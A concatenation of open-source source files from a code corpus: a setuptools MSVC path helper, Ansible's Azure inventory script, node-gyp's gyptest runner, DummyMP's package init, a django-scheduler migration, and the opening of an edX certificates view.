os.path.join(self.si.VCInstallDir, r'ATLMFC\Include')]
@property
def VCLibraries(self):
"""
Microsoft Visual C++ & Microsoft Foundation Class Libraries
"""
if self.vc_ver >= 15.0:
arch_subdir = self.pi.target_dir(x64=True)
else:
arch_subdir = self.pi.target_dir(hidex86=True)
paths = ['Lib%s' % arch_subdir, r'ATLMFC\Lib%s' % arch_subdir]
if self.vc_ver >= 14.0:
paths += [r'Lib\store%s' % arch_subdir]
return [os.path.join(self.si.VCInstallDir, path) for path in paths]
@property
def VCStoreRefs(self):
"""
Microsoft Visual C++ store references Libraries
"""
if self.vc_ver < 14.0:
return []
return [os.path.join(self.si.VCInstallDir, r'Lib\store\references')]
@property
def VCTools(self):
"""
Microsoft Visual C++ Tools
"""
si = self.si
tools = [os.path.join(si.VCInstallDir, 'VCPackages')]
forcex86 = True if self.vc_ver <= 10.0 else False
arch_subdir = self.pi.cross_dir(forcex86)
if arch_subdir:
tools += [os.path.join(si.VCInstallDir, 'Bin%s' % arch_subdir)]
if self.vc_ver == 14.0:
path = 'Bin%s' % self.pi.current_dir(hidex86=True)
tools += [os.path.join(si.VCInstallDir, path)]
elif self.vc_ver >= 15.0:
host_dir = (r'bin\HostX86%s' if self.pi.current_is_x86() else
r'bin\HostX64%s')
tools += [os.path.join(
si.VCInstallDir, host_dir % self.pi.target_dir(x64=True))]
if self.pi.current_cpu != self.pi.target_cpu:
tools += [os.path.join(
si.VCInstallDir, host_dir % self.pi.current_dir(x64=True))]
else:
tools += [os.path.join(si.VCInstallDir, 'Bin')]
return tools
@property
def OSLibraries(self):
"""
Microsoft Windows SDK Libraries
"""
if self.vc_ver <= 10.0:
arch_subdir = self.pi.target_dir(hidex86=True, x64=True)
return [os.path.join(self.si.WindowsSdkDir, 'Lib%s' % arch_subdir)]
else:
arch_subdir = self.pi.target_dir(x64=True)
lib = os.path.join(self.si.WindowsSdkDir, 'lib')
libver = self._sdk_subdir
return [os.path.join(lib, '%sum%s' % (libver , arch_subdir))]
@property
def OSIncludes(self):
"""
Microsoft Windows SDK Include
"""
include = os.path.join(self.si.WindowsSdkDir, 'include')
if self.vc_ver <= 10.0:
return [include, os.path.join(include, 'gl')]
else:
if self.vc_ver >= 14.0:
sdkver = self._sdk_subdir
else:
sdkver = ''
return [os.path.join(include, '%sshared' % sdkver),
os.path.join(include, '%sum' % sdkver),
os.path.join(include, '%swinrt' % sdkver)]
@property
def OSLibpath(self):
"""
Microsoft Windows SDK Libraries Paths
"""
ref = os.path.join(self.si.WindowsSdkDir, 'References')
libpath = []
if self.vc_ver <= 9.0:
libpath += self.OSLibraries
if self.vc_ver >= 11.0:
libpath += [os.path.join(ref, r'CommonConfiguration\Neutral')]
if self.vc_ver >= 14.0:
libpath += [
ref,
os.path.join(self.si.WindowsSdkDir, 'UnionMetadata'),
os.path.join(
ref,
'Windows.Foundation.UniversalApiContract',
'1.0.0.0',
),
os.path.join(
ref,
'Windows.Foundation.FoundationContract',
'1.0.0.0',
),
os.path.join(
ref,
'Windows.Networking.Connectivity.WwanContract',
'1.0.0.0',
),
os.path.join(
self.si.WindowsSdkDir,
'ExtensionSDKs',
'Microsoft.VCLibs',
'%0.1f' % self.vc_ver,
'References',
'CommonConfiguration',
'neutral',
),
]
return libpath
@property
def SdkTools(self):
"""
Microsoft Windows SDK Tools
"""
return list(self._sdk_tools())
def _sdk_tools(self):
"""
Microsoft Windows SDK Tools paths generator
"""
if self.vc_ver < 15.0:
bin_dir = 'Bin' if self.vc_ver <= 11.0 else r'Bin\x86'
yield os.path.join(self.si.WindowsSdkDir, bin_dir)
if not self.pi.current_is_x86():
arch_subdir = self.pi.current_dir(x64=True)
path = 'Bin%s' % arch_subdir
yield os.path.join(self.si.WindowsSdkDir, path)
if self.vc_ver == 10.0 or self.vc_ver == 11.0:
if self.pi.target_is_x86():
arch_subdir = ''
else:
arch_subdir = self.pi.current_dir(hidex86=True, x64=True)
path = r'Bin\NETFX 4.0 Tools%s' % arch_subdir
yield os.path.join(self.si.WindowsSdkDir, path)
elif self.vc_ver >= 15.0:
path = os.path.join(self.si.WindowsSdkDir, 'Bin')
arch_subdir = self.pi.current_dir(x64=True)
sdkver = self.si.WindowsSdkLastVersion
yield os.path.join(path, '%s%s' % (sdkver, arch_subdir))
if self.si.WindowsSDKExecutablePath:
yield self.si.WindowsSDKExecutablePath
@property
def _sdk_subdir(self):
"""
Microsoft Windows SDK version subdir
"""
ucrtver = self.si.WindowsSdkLastVersion
return ('%s\\' % ucrtver) if ucrtver else ''
@property
def SdkSetup(self):
"""
Microsoft Windows SDK Setup
"""
if self.vc_ver > 9.0:
return []
return [os.path.join(self.si.WindowsSdkDir, 'Setup')]
@property
def FxTools(self):
"""
Microsoft .NET Framework Tools
"""
pi = self.pi
si = self.si
if self.vc_ver <= 10.0:
include32 = True
include64 = not pi.target_is_x86() and not pi.current_is_x86()
else:
include32 = pi.target_is_x86() or pi.current_is_x86()
include64 = pi.current_cpu == 'amd64' or pi.target_cpu == 'amd64'
tools = []
if include32:
tools += [os.path.join(si.FrameworkDir32, ver)
for ver in si.FrameworkVersion32]
if include64:
tools += [os.path.join(si.FrameworkDir64, ver)
for ver in si.FrameworkVersion64]
return tools
@property
def NetFxSDKLibraries(self):
"""
Microsoft .Net Framework SDK Libraries
"""
if self.vc_ver < 14.0 or not self.si.NetFxSdkDir:
return []
arch_subdir = self.pi.target_dir(x64=True)
return [os.path.join(self.si.NetFxSdkDir, r'lib\um%s' % arch_subdir)]
@property
def NetFxSDKIncludes(self):
"""
Microsoft .Net Framework SDK Includes
"""
if self.vc_ver < 14.0 or not self.si.NetFxSdkDir:
return []
return [os.path.join(self.si.NetFxSdkDir, r'include\um')]
@property
def VsTDb(self):
"""
Microsoft Visual Studio Team System Database
"""
return [os.path.join(self.si.VSInstallDir, r'VSTSDB\Deploy')]
@property
def MSBuild(self):
"""
Microsoft Build Engine
"""
if self.vc_ver < 12.0:
return []
elif self.vc_ver < 15.0:
base_path = self.si.ProgramFilesx86
arch_subdir = self.pi.current_dir(hidex86=True)
else:
base_path = self.si.VSInstallDir
arch_subdir = ''
path = r'MSBuild\%0.1f\bin%s' % (self.vc_ver, arch_subdir)
build = [os.path.join(base_path, path)]
if self.vc_ver >= 15.0:
# Add Roslyn C# & Visual Basic Compiler
build += [os.path.join(base_path, path, 'Roslyn')]
return build
@property
def HTMLHelpWorkshop(self):
"""
Microsoft HTML Help Workshop
"""
if self.vc_ver < 11.0:
return []
return [os.path.join(self.si.ProgramFilesx86, 'HTML Help Workshop')]
@property
def UCRTLibraries(self):
"""
Microsoft Universal C Runtime SDK Libraries
"""
if self.vc_ver < 14.0:
return []
arch_subdir = self.pi.target_dir(x64=True)
lib = os.path.join(self.si.UniversalCRTSdkDir, 'lib')
ucrtver = self._ucrt_subdir
return [os.path.join(lib, '%sucrt%s' % (ucrtver, arch_subdir))]
@property
def UCRTIncludes(self):
"""
Microsoft Universal C Runtime SDK Include
"""
if self.vc_ver < 14.0:
return []
include = os.path.join(self.si.UniversalCRTSdkDir, 'include')
return [os.path.join(include, '%sucrt' % self._ucrt_subdir)]
@property
def _ucrt_subdir(self):
"""
Microsoft Universal C Runtime SDK version subdir
"""
ucrtver = self.si.UniversalCRTSdkLastVersion
return ('%s\\' % ucrtver) if ucrtver else ''
@property
def FSharp(self):
"""
Microsoft Visual F#
"""
if self.vc_ver < 11.0 and self.vc_ver > 12.0:
return []
return self.si.FSharpInstallDir
@property
def VCRuntimeRedist(self):
"""
Microsoft Visual C++ runtime redistribuable dll
"""
arch_subdir = self.pi.target_dir(x64=True)
if self.vc_ver < 15:
redist_path = self.si.VCInstallDir
vcruntime = 'redist%s\\Microsoft.VC%d0.CRT\\vcruntime%d0.dll'
else:
redist_path = self.si.VCInstallDir.replace('\\Tools', '\\Redist')
vcruntime = 'onecore%s\\Microsoft.VC%d0.CRT\\vcruntime%d0.dll'
# Visual Studio 2017 is still Visual C++ 14.0
dll_ver = 14.0 if self.vc_ver == 15 else self.vc_ver
vcruntime = vcruntime % (arch_subdir, self.vc_ver, dll_ver)
return os.path.join(redist_path, vcruntime)
def return_env(self, exists=True):
"""
Return environment dict.
Parameters
----------
exists: bool
It True, only return existing paths.
"""
env = dict(
include=self._build_paths('include',
[self.VCIncludes,
self.OSIncludes,
self.UCRTIncludes,
self.NetFxSDKIncludes],
exists),
lib=self._build_paths('lib',
[self.VCLibraries,
self.OSLibraries,
self.FxTools,
self.UCRTLibraries,
self.NetFxSDKLibraries],
exists),
libpath=self._build_paths('libpath',
[self.VCLibraries,
self.FxTools,
self.VCStoreRefs,
self.OSLibpath],
exists),
path=self._build_paths('path',
[self.VCTools,
self.VSTools,
self.VsTDb,
self.SdkTools,
self.SdkSetup,
self.FxTools,
self.MSBuild,
self.HTMLHelpWorkshop,
self.FSharp],
exists),
)
if self.vc_ver >= 14 and os.path.isfile(self.VCRuntimeRedist):
env['py_vcruntime_redist'] = self.VCRuntimeRedist
return env
def _build_paths(self, name, spec_path_lists, exists):
"""
Given an environment variable name and specified paths,
return a pathsep-separated string of paths containing
unique, extant, directories from those paths and from
the environment variable. Raise an error if no paths
are resolved.
"""
# flatten spec_path_lists
spec_paths = itertools.chain.from_iterable(spec_path_lists)
env_paths = safe_env.get(name, '').split(os.pathsep)
paths = itertools.chain(spec_paths, env_paths)
extant_paths = list(filter(os.path.isdir, paths)) if exists else paths
if not extant_paths:
msg = "%s environment variable is empty" % name.upper()
raise distutils.errors.DistutilsPlatformError(msg)
unique_paths = self._unique_everseen(extant_paths)
return os.pathsep.join(unique_paths)
# from Python docs
def _unique_everseen(self, iterable, key=None):
"""
List unique elements, preserving order.
Remember all elements ever seen.
_unique_everseen('AAAABBBCCDAABBB') --> A B C D
_unique_everseen('ABBCcAD', str.lower) --> A B C D
"""
seen = set()
seen_add = seen.add
if key is None:
for element in filterfalse(seen.__contains__, iterable):
seen_add(element)
yield element
else:
for element in iterable:
k = key(element)
if k not in seen:
seen_add(k)
yield element
| apache-2.0 |
jonhadfield/ansible | contrib/inventory/windows_azure.py | 119 | 11306 | #!/usr/bin/env python
'''
Windows Azure external inventory script
=======================================
Generates inventory that Ansible can understand by making API request to
Windows Azure using the azure python library.
NOTE: This script assumes Ansible is being executed where azure is already
installed.
pip install azure
Adapted from the ansible Linode plugin by Dan Slimmon.
'''
# (c) 2013, John Whitbeck
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
######################################################################
# Standard imports
import re
import sys
import argparse
import os
from urlparse import urlparse
from time import time
try:
import json
except ImportError:
import simplejson as json
try:
import azure
from azure import WindowsAzureError
from azure.servicemanagement import ServiceManagementService
except ImportError as e:
print("failed=True msg='`azure` library required for this script'")
sys.exit(1)
# Imports for ansible
import ConfigParser
class AzureInventory(object):
def __init__(self):
"""Main execution path."""
# Inventory grouped by display group
self.inventory = {}
# Index of deployment name -> host
self.index = {}
self.host_metadata = {}
# Cache setting defaults.
# These can be overridden in settings (see `read_settings`).
cache_dir = os.path.expanduser('~')
self.cache_path_cache = os.path.join(cache_dir, '.ansible-azure.cache')
self.cache_path_index = os.path.join(cache_dir, '.ansible-azure.index')
self.cache_max_age = 0
# Read settings and parse CLI arguments
self.read_settings()
self.read_environment()
self.parse_cli_args()
# Initialize Azure ServiceManagementService
self.sms = ServiceManagementService(self.subscription_id, self.cert_path)
# Cache
if self.args.refresh_cache:
self.do_api_calls_update_cache()
elif not self.is_cache_valid():
self.do_api_calls_update_cache()
if self.args.list_images:
data_to_print = self.json_format_dict(self.get_images(), True)
elif self.args.list or self.args.host:
# Display list of nodes for inventory
if len(self.inventory) == 0:
data = json.loads(self.get_inventory_from_cache())
else:
data = self.inventory
if self.args.host:
data_to_print = self.get_host(self.args.host)
else:
# Add the `['_meta']['hostvars']` information.
hostvars = {}
if len(data) > 0:
for host in set([h for hosts in data.values() for h in hosts if h]):
hostvars[host] = self.get_host(host, jsonify=False)
data['_meta'] = {'hostvars': hostvars}
# JSONify the data.
data_to_print = self.json_format_dict(data, pretty=True)
print(data_to_print)
def get_host(self, hostname, jsonify=True):
"""Return information about the given hostname, based on what
the Windows Azure API provides.
"""
if hostname not in self.host_metadata:
return "No host found: %s" % json.dumps(self.host_metadata)
if jsonify:
return json.dumps(self.host_metadata[hostname])
return self.host_metadata[hostname]
def get_images(self):
images = []
for image in self.sms.list_os_images():
if str(image.label).lower().find(self.args.list_images.lower()) >= 0:
images.append(vars(image))
return json.loads(json.dumps(images, default=lambda o: o.__dict__))
def is_cache_valid(self):
"""Determines if the cache file has expired, or if it is still valid."""
if os.path.isfile(self.cache_path_cache):
mod_time = os.path.getmtime(self.cache_path_cache)
current_time = time()
if (mod_time + self.cache_max_age) > current_time:
if os.path.isfile(self.cache_path_index):
return True
return False
def read_settings(self):
"""Reads the settings from the .ini file."""
config = ConfigParser.SafeConfigParser()
config.read(os.path.dirname(os.path.realpath(__file__)) + '/windows_azure.ini')
# Credentials related
if config.has_option('azure', 'subscription_id'):
self.subscription_id = config.get('azure', 'subscription_id')
if config.has_option('azure', 'cert_path'):
self.cert_path = config.get('azure', 'cert_path')
# Cache related
if config.has_option('azure', 'cache_path'):
cache_path = os.path.expandvars(os.path.expanduser(config.get('azure', 'cache_path')))
self.cache_path_cache = os.path.join(cache_path, 'ansible-azure.cache')
self.cache_path_index = os.path.join(cache_path, 'ansible-azure.index')
if config.has_option('azure', 'cache_max_age'):
self.cache_max_age = config.getint('azure', 'cache_max_age')
def read_environment(self):
''' Reads the settings from environment variables '''
# Credentials
if os.getenv("AZURE_SUBSCRIPTION_ID"):
self.subscription_id = os.getenv("AZURE_SUBSCRIPTION_ID")
if os.getenv("AZURE_CERT_PATH"):
self.cert_path = os.getenv("AZURE_CERT_PATH")
def parse_cli_args(self):
"""Command line argument processing"""
parser = argparse.ArgumentParser(
description='Produce an Ansible Inventory file based on Azure',
)
parser.add_argument('--list', action='store_true', default=True,
help='List nodes (default: True)')
parser.add_argument('--list-images', action='store',
help='Get all available images.')
parser.add_argument('--refresh-cache',
action='store_true', default=False,
help='Force refresh of thecache by making API requests to Azure '
'(default: False - use cache files)',
)
parser.add_argument('--host', action='store',
help='Get all information about an instance.')
self.args = parser.parse_args()
def do_api_calls_update_cache(self):
"""Do API calls, and save data in cache files."""
self.add_cloud_services()
self.write_to_cache(self.inventory, self.cache_path_cache)
self.write_to_cache(self.index, self.cache_path_index)
def add_cloud_services(self):
"""Makes an Azure API call to get the list of cloud services."""
try:
for cloud_service in self.sms.list_hosted_services():
self.add_deployments(cloud_service)
except WindowsAzureError as e:
print("Looks like Azure's API is down:")
print("")
print(e)
sys.exit(1)
def add_deployments(self, cloud_service):
"""Makes an Azure API call to get the list of virtual machines
associated with a cloud service.
"""
try:
for deployment in self.sms.get_hosted_service_properties(cloud_service.service_name,embed_detail=True).deployments.deployments:
self.add_deployment(cloud_service, deployment)
except WindowsAzureError as e:
print("Looks like Azure's API is down:")
print("")
print(e)
sys.exit(1)
def add_deployment(self, cloud_service, deployment):
"""Adds a deployment to the inventory and index"""
for role in deployment.role_instance_list.role_instances:
try:
# Default port 22 unless port found with name 'SSH'
port = '22'
for ie in role.instance_endpoints.instance_endpoints:
if ie.name == 'SSH':
port = ie.public_port
break
except AttributeError as e:
pass
finally:
self.add_instance(role.instance_name, deployment, port, cloud_service, role.instance_status)
def add_instance(self, hostname, deployment, ssh_port, cloud_service, status):
"""Adds an instance to the inventory and index"""
dest = urlparse(deployment.url).hostname
# Add to index
self.index[hostname] = deployment.name
self.host_metadata[hostname] = dict(ansible_ssh_host=dest,
ansible_ssh_port=int(ssh_port),
instance_status=status,
private_id=deployment.private_id)
# List of all azure deployments
self.push(self.inventory, "azure", hostname)
# Inventory: Group by service name
self.push(self.inventory, self.to_safe(cloud_service.service_name), hostname)
if int(ssh_port) == 22:
self.push(self.inventory, "Cloud_services", hostname)
# Inventory: Group by region
self.push(self.inventory, self.to_safe(cloud_service.hosted_service_properties.location), hostname)
def push(self, my_dict, key, element):
"""Pushed an element onto an array that may not have been defined in the dict."""
if key in my_dict:
my_dict[key].append(element);
else:
my_dict[key] = [element]
def get_inventory_from_cache(self):
"""Reads the inventory from the cache file and returns it as a JSON object."""
cache = open(self.cache_path_cache, 'r')
json_inventory = cache.read()
return json_inventory
def load_index_from_cache(self):
"""Reads the index from the cache file and sets self.index."""
cache = open(self.cache_path_index, 'r')
json_index = cache.read()
self.index = json.loads(json_index)
def write_to_cache(self, data, filename):
"""Writes data in JSON format to a file."""
json_data = self.json_format_dict(data, True)
cache = open(filename, 'w')
cache.write(json_data)
cache.close()
def to_safe(self, word):
"""Escapes any characters that would be invalid in an ansible group name."""
return re.sub("[^A-Za-z0-9\-]", "_", word)
def json_format_dict(self, data, pretty=False):
"""Converts a dict to a JSON object and dumps it as a formatted string."""
if pretty:
return json.dumps(data, sort_keys=True, indent=2)
else:
return json.dumps(data)
AzureInventory()
| gpl-3.0 |
eugenehp/bootstrap | node_modules/npm-shrinkwrap/node_modules/npm/node_modules/node-gyp/gyp/gyptest.py | 1752 | 8019 | #!/usr/bin/env python
# Copyright (c) 2012 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
__doc__ = """
gyptest.py -- test runner for GYP tests.
"""
import os
import optparse
import subprocess
import sys
class CommandRunner(object):
"""
Executor class for commands, including "commands" implemented by
Python functions.
"""
verbose = True
active = True
def __init__(self, dictionary={}):
self.subst_dictionary(dictionary)
def subst_dictionary(self, dictionary):
self._subst_dictionary = dictionary
def subst(self, string, dictionary=None):
"""
Substitutes (via the format operator) the values in the specified
dictionary into the specified command.
The command can be an (action, string) tuple. In all cases, we
perform substitution on strings and don't worry if something isn't
a string. (It's probably a Python function to be executed.)
"""
if dictionary is None:
dictionary = self._subst_dictionary
if dictionary:
try:
string = string % dictionary
except TypeError:
pass
return string
def display(self, command, stdout=None, stderr=None):
if not self.verbose:
return
if type(command) == type(()):
func = command[0]
args = command[1:]
s = '%s(%s)' % (func.__name__, ', '.join(map(repr, args)))
if type(command) == type([]):
# TODO: quote arguments containing spaces
# TODO: handle meta characters?
s = ' '.join(command)
else:
s = self.subst(command)
if not s.endswith('\n'):
s += '\n'
sys.stdout.write(s)
sys.stdout.flush()
def execute(self, command, stdout=None, stderr=None):
"""
Executes a single command.
"""
if not self.active:
return 0
if type(command) == type(''):
command = self.subst(command)
cmdargs = shlex.split(command)
if cmdargs[0] == 'cd':
command = (os.chdir,) + tuple(cmdargs[1:])
if type(command) == type(()):
func = command[0]
args = command[1:]
return func(*args)
else:
if stdout is sys.stdout:
# Same as passing sys.stdout, except python2.4 doesn't fail on it.
subout = None
else:
# Open pipe for anything else so Popen works on python2.4.
subout = subprocess.PIPE
if stderr is sys.stderr:
# Same as passing sys.stderr, except python2.4 doesn't fail on it.
suberr = None
elif stderr is None:
# Merge with stdout if stderr isn't specified.
suberr = subprocess.STDOUT
else:
# Open pipe for anything else so Popen works on python2.4.
suberr = subprocess.PIPE
p = subprocess.Popen(command,
shell=(sys.platform == 'win32'),
stdout=subout,
stderr=suberr)
p.wait()
if stdout is None:
self.stdout = p.stdout.read()
elif stdout is not sys.stdout:
stdout.write(p.stdout.read())
if stderr not in (None, sys.stderr):
stderr.write(p.stderr.read())
return p.returncode
def run(self, command, display=None, stdout=None, stderr=None):
"""
Runs a single command, displaying it first.
"""
if display is None:
display = command
self.display(display)
return self.execute(command, stdout, stderr)
class Unbuffered(object):
def __init__(self, fp):
self.fp = fp
def write(self, arg):
self.fp.write(arg)
self.fp.flush()
def __getattr__(self, attr):
return getattr(self.fp, attr)
sys.stdout = Unbuffered(sys.stdout)
sys.stderr = Unbuffered(sys.stderr)
def is_test_name(f):
return f.startswith('gyptest') and f.endswith('.py')
def find_all_gyptest_files(directory):
result = []
for root, dirs, files in os.walk(directory):
if '.svn' in dirs:
dirs.remove('.svn')
result.extend([ os.path.join(root, f) for f in files if is_test_name(f) ])
result.sort()
return result
def main(argv=None):
if argv is None:
argv = sys.argv
usage = "gyptest.py [-ahlnq] [-f formats] [test ...]"
parser = optparse.OptionParser(usage=usage)
parser.add_option("-a", "--all", action="store_true",
help="run all tests")
parser.add_option("-C", "--chdir", action="store", default=None,
help="chdir to the specified directory")
parser.add_option("-f", "--format", action="store", default='',
help="run tests with the specified formats")
parser.add_option("-G", '--gyp_option', action="append", default=[],
help="Add -G options to the gyp command line")
parser.add_option("-l", "--list", action="store_true",
help="list available tests and exit")
parser.add_option("-n", "--no-exec", action="store_true",
help="no execute, just print the command line")
parser.add_option("--passed", action="store_true",
help="report passed tests")
parser.add_option("--path", action="append", default=[],
help="additional $PATH directory")
parser.add_option("-q", "--quiet", action="store_true",
help="quiet, don't print test command lines")
opts, args = parser.parse_args(argv[1:])
if opts.chdir:
os.chdir(opts.chdir)
if opts.path:
extra_path = [os.path.abspath(p) for p in opts.path]
extra_path = os.pathsep.join(extra_path)
os.environ['PATH'] = extra_path + os.pathsep + os.environ['PATH']
if not args:
if not opts.all:
sys.stderr.write('Specify -a to get all tests.\n')
return 1
args = ['test']
tests = []
for arg in args:
if os.path.isdir(arg):
tests.extend(find_all_gyptest_files(os.path.normpath(arg)))
else:
if not is_test_name(os.path.basename(arg)):
print >>sys.stderr, arg, 'is not a valid gyp test name.'
sys.exit(1)
tests.append(arg)
if opts.list:
for test in tests:
print test
sys.exit(0)
CommandRunner.verbose = not opts.quiet
CommandRunner.active = not opts.no_exec
cr = CommandRunner()
os.environ['PYTHONPATH'] = os.path.abspath('test/lib')
if not opts.quiet:
sys.stdout.write('PYTHONPATH=%s\n' % os.environ['PYTHONPATH'])
passed = []
failed = []
no_result = []
if opts.format:
format_list = opts.format.split(',')
else:
# TODO: not duplicate this mapping from pylib/gyp/__init__.py
format_list = {
'aix5': ['make'],
'freebsd7': ['make'],
'freebsd8': ['make'],
'openbsd5': ['make'],
'cygwin': ['msvs'],
'win32': ['msvs', 'ninja'],
'linux2': ['make', 'ninja'],
'linux3': ['make', 'ninja'],
'darwin': ['make', 'ninja', 'xcode', 'xcode-ninja'],
}[sys.platform]
for format in format_list:
os.environ['TESTGYP_FORMAT'] = format
if not opts.quiet:
sys.stdout.write('TESTGYP_FORMAT=%s\n' % format)
gyp_options = []
for option in opts.gyp_option:
gyp_options += ['-G', option]
if gyp_options and not opts.quiet:
sys.stdout.write('Extra Gyp options: %s\n' % gyp_options)
for test in tests:
status = cr.run([sys.executable, test] + gyp_options,
stdout=sys.stdout,
stderr=sys.stderr)
if status == 2:
no_result.append(test)
elif status:
failed.append(test)
else:
passed.append(test)
if not opts.quiet:
def report(description, tests):
if tests:
if len(tests) == 1:
sys.stdout.write("\n%s the following test:\n" % description)
else:
fmt = "\n%s the following %d tests:\n"
sys.stdout.write(fmt % (description, len(tests)))
sys.stdout.write("\t" + "\n\t".join(tests) + "\n")
if opts.passed:
report("Passed", passed)
report("Failed", failed)
report("No result from", no_result)
if failed:
return 1
else:
return 0
if __name__ == "__main__":
sys.exit(main())
| mit |
alberthdev/dummymp | dummymp/__init__.py | 2 | 1194 | #!/usr/bin/env python
# DummyMP - Multiprocessing Library for Dummies!
# Copyright 2014 Albert Huang.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied. See the License for the specific language governing
# permissions and limitations under the License.
#
# DummyMP Library -
# multiprocessing library for dummies!
# (library for easily running functions in parallel)
#
import time
import sys
from . import config
from .config import DUMMYMP_GENEROUS, DUMMYMP_NORMAL, \
DUMMYMP_AGGRESSIVE, \
DUMMYMP_EXTREME, \
DUMMYMP_NUCLEAR
from ._version import *
from .loghandler import *
from .process import *
from .detect import *
from .interface import *
from .taskmgr import *
| apache-2.0 |
jrutila/django-scheduler | schedule/migrations/0001_initial.py | 6 | 6378 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
('contenttypes', '0001_initial'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Calendar',
fields=[
('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),
('name', models.CharField(max_length=200, verbose_name='name')),
('slug', models.SlugField(max_length=200, verbose_name='slug')),
],
options={
'verbose_name_plural': 'calendar',
'verbose_name': 'calendar',
},
bases=(models.Model,),
),
migrations.CreateModel(
name='CalendarRelation',
fields=[
('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),
('object_id', models.IntegerField()),
('distinction', models.CharField(null=True, max_length=20, verbose_name='distinction')),
('inheritable', models.BooleanField(default=True, verbose_name='inheritable')),
('calendar', models.ForeignKey(to='schedule.Calendar', verbose_name='calendar')),
('content_type', models.ForeignKey(to='contenttypes.ContentType')),
],
options={
'verbose_name_plural': 'calendar relations',
'verbose_name': 'calendar relation',
},
bases=(models.Model,),
),
migrations.CreateModel(
name='Event',
fields=[
('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),
('start', models.DateTimeField(verbose_name='start')),
('end', models.DateTimeField(help_text='The end time must be later than the start time.', verbose_name='end')),
('title', models.CharField(max_length=255, verbose_name='title')),
('description', models.TextField(blank=True, null=True, verbose_name='description')),
('created_on', models.DateTimeField(auto_now_add=True, verbose_name='created on')),
('updated_on', models.DateTimeField(auto_now=True, verbose_name='updated on')),
('end_recurring_period', models.DateTimeField(blank=True, null=True, help_text='This date is ignored for one time only events.', verbose_name='end recurring period')),
('calendar', models.ForeignKey(blank=True, null=True, to='schedule.Calendar', verbose_name='calendar')),
('creator', models.ForeignKey(blank=True, null=True, related_name='creator', verbose_name='creator', to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'events',
'verbose_name': 'event',
},
bases=(models.Model,),
),
migrations.CreateModel(
name='EventRelation',
fields=[
('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),
('object_id', models.IntegerField()),
('distinction', models.CharField(null=True, max_length=20, verbose_name='distinction')),
('content_type', models.ForeignKey(to='contenttypes.ContentType')),
('event', models.ForeignKey(to='schedule.Event', verbose_name='event')),
],
options={
'verbose_name_plural': 'event relations',
'verbose_name': 'event relation',
},
bases=(models.Model,),
),
migrations.CreateModel(
name='Occurrence',
fields=[
('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),
('title', models.CharField(blank=True, null=True, max_length=255, verbose_name='title')),
('description', models.TextField(blank=True, null=True, verbose_name='description')),
('start', models.DateTimeField(verbose_name='start')),
('end', models.DateTimeField(verbose_name='end')),
('cancelled', models.BooleanField(default=False, verbose_name='cancelled')),
('original_start', models.DateTimeField(verbose_name='original start')),
('original_end', models.DateTimeField(verbose_name='original end')),
('created_on', models.DateTimeField(auto_now_add=True, verbose_name='created on')),
('updated_on', models.DateTimeField(auto_now=True, verbose_name='updated on')),
('event', models.ForeignKey(to='schedule.Event', verbose_name='event')),
],
options={
'verbose_name_plural': 'occurrences',
'verbose_name': 'occurrence',
},
bases=(models.Model,),
),
migrations.CreateModel(
name='Rule',
fields=[
('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),
('name', models.CharField(max_length=32, verbose_name='name')),
('description', models.TextField(verbose_name='description')),
('frequency', models.CharField(max_length=10, choices=[('YEARLY', 'Yearly'), ('MONTHLY', 'Monthly'), ('WEEKLY', 'Weekly'), ('DAILY', 'Daily'), ('HOURLY', 'Hourly'), ('MINUTELY', 'Minutely'), ('SECONDLY', 'Secondly')], verbose_name='frequency')),
('params', models.TextField(blank=True, null=True, verbose_name='params')),
],
options={
'verbose_name_plural': 'rules',
'verbose_name': 'rule',
},
bases=(models.Model,),
),
migrations.AddField(
model_name='event',
name='rule',
field=models.ForeignKey(blank=True, null=True, to='schedule.Rule', verbose_name='rule', help_text="Select '----' for a one time only event."),
preserve_default=True,
),
]
| bsd-3-clause |
ampax/edx-platform | cms/djangoapps/contentstore/views/certificates.py | 35 | 21931 | """
Certificates Data Model:
course.certificates: {
'certificates': [
{
'version': 1, // data contract version
'id': 12345, // autogenerated identifier
'name': 'Certificate 1',
'description': 'Certificate 1 Description',
'course_title': 'course title',
'signatories': [
{
'id': 24680, // autogenerated identifier
'name': 'Dr. Bob Smith',
'title': 'Dean of the College',
'organization': 'Awesome College'
}
]
}
]
}
"""
import json
from django.conf import settings
from django.contrib.auth.decorators import login_required
from django.views.decorators.csrf import ensure_csrf_cookie
from django.http import HttpResponse
from django.utils.translation import ugettext as _
from django.views.decorators.http import require_http_methods
from contentstore.utils import reverse_course_url
from edxmako.shortcuts import render_to_response
from opaque_keys.edx.keys import CourseKey, AssetKey
from eventtracking import tracker
from student.auth import has_studio_write_access
from student.roles import GlobalStaff
from util.db import generate_int_id, MYSQL_MAX_INT
from util.json_request import JsonResponse
from xmodule.modulestore import EdxJSONEncoder
from xmodule.modulestore.django import modulestore
from contentstore.views.assets import delete_asset
from contentstore.views.exception import AssetNotFoundException
from django.core.exceptions import PermissionDenied
from course_modes.models import CourseMode
